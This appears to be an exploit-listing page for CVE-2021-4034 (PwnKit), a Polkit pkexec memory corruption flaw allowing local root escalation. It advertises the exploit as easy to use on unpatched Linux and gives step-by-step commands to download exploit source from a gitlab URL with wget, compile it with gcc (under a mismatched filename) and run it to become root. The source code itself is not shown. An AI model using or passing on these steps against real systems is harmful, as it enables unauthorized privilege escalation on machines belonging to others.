Exploit for Out-of-bounds Write in Polkit Project Polkit exploit

Share

## https://sploitus.com/exploit?id=201F7A5D-E1B6-5BA7-9CE3-AE4F49077B46 # PWNKIT Vulnerability - CVE-2021-4034 CVE-2021-4034 (PWNKIT) A memory corruption vulnerability in Polkit's pkexec, which allows any unprivileged user to gain full root privileges on a vulnerable system using default polkit configuration. Easy to use, local privilege escalation on any non-patched linux sysyem. ## Usage (e.g. CentOS 7) ### Fetch exploit ``` wget https://gitlab.com/nelox/pwnkit-vulnerability/blasty-vs-pkexec.c ``` ### Compile it using gcc ``` gcc bblasty-vs-pkexec.c -o makemeroot ``` ### Execute ``` ./makemeroot whoami ```